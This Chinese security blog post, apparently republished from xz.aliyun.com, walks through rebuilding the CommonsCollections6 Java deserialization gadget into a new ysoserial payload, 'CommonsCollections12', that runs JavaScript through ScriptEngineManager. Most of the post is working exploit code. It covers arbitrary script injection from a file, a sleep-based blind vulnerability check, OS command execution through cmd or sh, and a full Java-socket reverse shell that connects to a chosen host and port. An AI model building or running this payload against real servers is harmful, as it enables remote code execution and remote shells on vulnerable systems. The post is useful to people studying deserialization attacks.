CommonsCollections12之CommonsCollections6改造计划
2020-12-22 11:45:06 Author: xz.aliyun.com(查看原文) 阅读量:259 收藏

0x01 前言

最近在研究某XXXC的一个servlet反序列化漏洞时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化漏洞,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完美主义者)的我来说,这条gadget只能执行个单命令并不完美.

0x02 改造前的分析

既然不完美,那么就亲自操刀来改造一下.
首先来看看chain.

java.util.HashMap.readObject()
    java.util.HashMap.hash()
        TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

可以看出这条gagdet会反射使用Runtime的相关方法来执行OS命令.

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, cmd),
                new ConstantTransformer(1)};

如果使用Runtime势必只能执行单命令,执行复杂命令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机器为2003时不在少数,2003的机器并无powershell.且写文件的操作也会非常复杂.我花了一段时间以后,发现可以反射使用javax.script.ScriptEngineManager来实现我的想法.

0x03 JDK内置的JS引擎

科普一下javax.script.ScriptEngineManager.这个类在jdk中可以用以执行一些脚本语言,例如比较流行的有JavaScript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了JavaScript语言的脚本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找脚本引擎:

  • 1.通过脚本名称获取:
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    
  • 2.通过MIME类型来获取:

    ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
    
  • 3.通过MIME类型来获取:

    ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
    

    #### 示例:
    例如我们要和js混编打印一个HelloWord:

    ScriptEngineManager manager = new ScriptEngineManager();
    ScriptEngine engine = manager.getEngineByName("JavaScript");
    engine.eval("println('Hello Word');");
    

    当然反射的写法如下:

    Class clazz = Class.forName("javax.script.ScriptEngineManager");
    Object manager = clazz.getDeclaredConstructor().newInstance();
    Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class);
    Object scriptEngine = getEngineByName.invoke(manager,"JavaScript");
    Method eval = scriptEngine.getClass().getMethod("eval",String.class);
    eval.invoke(scriptEngine,"println('Hello Word');");
    

    #### 注意事项:
    由于是和js混编,所以要充分注意js的一些语法和Java语法的区别

  • 1.变量命名
    js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换.
    例如 String a 和 int b需要写为var a 和 var b.
  • 2.异常捕捉
    异常不用声明类型
    例如
    try {
    var a;
    }
    catch (e){
    }
    
    ### 0x04 开始改造
    了解了特性以后,开始我们的改造计划.我们唯一需要大改的地方就是我们的Transformer.我们修改为如下:
    String[] execArgs = new String[]{cmd};
          Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class),
                  new InvokerTransformer("newInstance", new Class[0], new Object[0]),
                  new InvokerTransformer("getEngineByName", new Class[]{String.class},
                          new Object[]{"JavaScript"}), new InvokerTransformer("eval",
                  new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
    
    可以看到一切功能由cmd控制.
    我增加支持了四种功能.
  • 1.代码注入
    我们可以注入我们自己的代码.
    假如用户命令以CodeFile:开头,只需要将要注入的js代码放入文件中即可

    if (command.startsWith("CodeFile:")) {
              File codeFile = new File(command.substring(9));
              StringBuilder result = new StringBuilder();
    
              try {
                  BufferedReader br = new BufferedReader(new FileReader(codeFile));
                  String s = null;
    
                  while((s = br.readLine()) != null) {
                      result.append(s + "\n");
                  }
    
                  br.close();
              } catch (Exception var20) {
                  var20.printStackTrace();
              }
    
              cmd = result.toString();
              System.err.println("----------------------------------Java codefile start----------------------------------");
              System.err.println(cmd);
              System.err.println("-----------------------------------Java codefile end-----------------------------------");
          }
    

    例如CodeFile:1.java, 1.java内容如下:

    var a;
    java.lang.Thread.sleep(3000);
    
  • 2.延迟注入:
    我们可以使用线程阻塞来做到延迟注入,判断是否存在漏洞,就算是机器不出网依然可以判断.
    if (command.startsWith("sleep-check-")) {
              long i = Integer.parseInt(command.split("[-]")[2]) * 1000;
              cmd = String.format("java.lang.Thread.sleep(%s);",i);
          }
    
    假如用户命令以sleep-check-开头,例如sleep-check-10,则延迟10s,用户可以通过查看response时间来判断是否存在漏洞.
  • 3.shell反弹:
    我们除了使用原生反弹以外,其实Java中内置java.net.Socket可以反弹shell.由于jdk是跨平台的,所以无关机器类型,2003的机器依然可以借助该api而不用借助powershell反弹shell.
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) {
                if (command.split(":").length != 3) {
                    throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got " + command + ")");
                }


                String host = null;
                host = command.split(":")[1];

                int port = 0;
                try {
                    port = Integer.parseInt(command.split(":")[2]);
                } catch (NumberFormatException var14) {
                    throw new IllegalArgumentException("Invalid port specified for connect back command (" + command.split(":")[2] + ")");
                }

                if (port < 1 || port > 65535) {
                    throw new IllegalArgumentException("Invalid port specified for connect back command (" + port + ")");
                }


            cmd = String.format("var host = \"%s\";\n" +
                    "var port = %d;\n" +
                    "var p;\n" +
                    "var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" +
                    "if(os.contains(\"win\")){\n" +
                    "    p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" +
                    "        }else{\n" +
                    "    p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" +
                    "        }\n" +
                    "var s = new java.net.Socket(host,port);\n" +
                    "var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();\n" +
                    "var po = p.getOutputStream(),so = s.getOutputStream();\n" +
                    "while(!s.isClosed()) {\n" +
                    "while(pi.available()>0) {\n" +
                    "so.write(pi.read());\n" +
                    "}\n" +
                    "while(pe.available()>0) {\n" +
                    "so.write(pe.read());\n" +
                    "}\n" +
                    "while(si.available()>0) {\n" +
                    "po.write(si.read());\n" +
                    "}\n" +
                    "so.flush();\n" +
                    "po.flush();\n" +
                    "java.lang.Thread.sleep(50);\n" +
                    "try {\n" +
                    "p.exitValue();\n" +
                    "break;\n" +
                    "}\n" +
                    "catch (e){\n" +
                    "}\n" +
                    "};\n" +
                    "p.destroy();\n" +
                    "s.close();",host,port);
            }

例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.

  • 4.原始命令执行:
    这个就是普通的命令执行,自动判断os类型以后加入os底层.

    cmd = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\nvar cmd = new java.lang.String(\"" + command + "\");\n" + "var listCmd = new java.util.ArrayList();\n" + "var p = new java.lang.ProcessBuilder();\n" + "      if(isWin){\n" + "      p.command(\"cmd.exe\", \"/c\", cmd);\n" + "      }else{\n" + "      p.command(\"sh\", \"-c\", cmd);\n" + "      }\n" + "p.redirectErrorStream(true);\n" + "var process = p.start();";
    

    ### 0x05 改造完成
    新建一个ysoserial.payloads.CommonsCollections12打包进ysoserial以后即可.

  • 1.代码注入测试

  • 2.延迟注入测试

  • 3.反弹shell测试

  • 4.普通命令执行

0x06 后面的话

感谢Bearcat、Ntears、cafebabe提供相关模块的实现思路.


文章来源: http://xz.aliyun.com/t/8673
如有侵权请联系:admin#unsafe.sh